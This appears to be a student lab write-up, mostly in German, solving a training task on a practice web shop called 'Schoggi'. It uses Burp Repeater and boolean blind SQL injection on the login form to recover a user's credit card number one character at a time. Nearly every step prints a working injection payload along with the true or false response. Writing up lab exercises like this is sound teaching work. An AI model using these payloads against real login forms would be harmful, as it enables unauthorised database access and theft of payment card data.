from Juvan Thavalingam, Tim Müller, Christian Graber

Task 3:

1. Lese die Hilfreichen Hints und verstehe diese.

2. starte Burp

3. öffne die Webseite Schoggi

4. go to the login page

5. send a request with any USER ID and any password,

6. in Burp under Proxy History send the API Rest Request to the Reapter.

7. Only possibility to get true datas, Blind SQL-Injection with true and false response from Responder

Here is the idea with Try and Error to get right boolean by credit cards

8. "mallory' AND SUBSTRING(credit_card,1,1)='2'#"

Diese Injektion geht davon aus, dass man den Tabellenname schon kennt. Wenn nicht, gehe ich davon aus, dass man wie wenn man in den Hints liest, es auch hier mit den gleichen Injektionen herrausbekommen kann.

Substring schaut beim User mallory unter der Spalte Substring einen String der länge 1 (letzte Zahl) an der position 1 (erste Zahl) gleich die Zahl 2 ist.

Dies ergibt die Fehlermeldung "Invalid user or password" also wahr.

9. "mallory' AND SUBSTRING(credit_card,1,1)='1'#" ergibt die Meldung "Error during login" also falsch.

10. Jetzt funktioniert es so, dass ich die erste Zahl jeweils um eines erhöhe und dann die Zahl, welche verglichen wird von 0 bis 9 rotieren lasse.

11 "mallory' AND SUBSTRING(credit_card,2,1)='0'#" ergibt "Invalid user or password" also wahr

=> credit_card = 20

12."mallory' AND SUBSTRING(credit_card,3,1)='0'#" ergibt "Error during login" also falsch.

Ich werde jetzt nur noch die richtigen SQL Injektion zeigen.

13. "mallory' AND SUBSTRING(credit_card,3,1)='2'#" => credit_card = 202

14. "mallory' AND SUBSTRING(credit_card,1,4)='2025'#"

wenn man einfach die erste Zahl bei 1 lässt, und nur die zweite erhöht, sieht man immer gleich die ganze Creditkarte.

15. "mallory' AND SUBSTRING(credit_card,1,5)='2025 '#"

Wichtig, da nach jedem vierer Block einen leerschlag hat, muss man diesen auch einplanen.

16. "mallory' AND SUBSTRING(credit_card,1,6)='2025 6'#" ergibt "Invalid user or password" also wahr

17. "mallory' AND SUBSTRING(credit_card,1,7)='2025 66'#"

18. "mallory' AND SUBSTRING(credit_card,1,8)='2025 665'#"

19. "mallory' AND SUBSTRING(credit_card,1,9)='2025 6655'#"

20. "mallory' AND SUBSTRING(credit_card,1,10)='2025 6655 '#"

21. "mallory' AND SUBSTRING(credit_card,1,11)='2025 6655 4'#"

22. "mallory' AND SUBSTRING(credit_card,1,12)='2025 6655 44'#"

23. "mallory' AND SUBSTRING(credit_card,1,13)='2025 6655 447'#"

24. "mallory' AND SUBSTRING(credit_card,1,14)='2025 6655 4475'#"

25. "mallory' AND SUBSTRING(credit_card,1,15)='2025 6655 4475 '#"

26. "mallory' AND SUBSTRING(credit_card,1,16)='2025 6655 4475 3'#"

27. "mallory' AND SUBSTRING(credit_card,1,17)='2025 6655 4475 39'#"

28. "mallory' AND SUBSTRING(credit_card,1,18)='2025 6655 4475 399'#"

29. "mallory' AND SUBSTRING(credit_card,1,19)='2025 6655 4475 3991'#"

30. credit_card: 2025 6655 4475 3991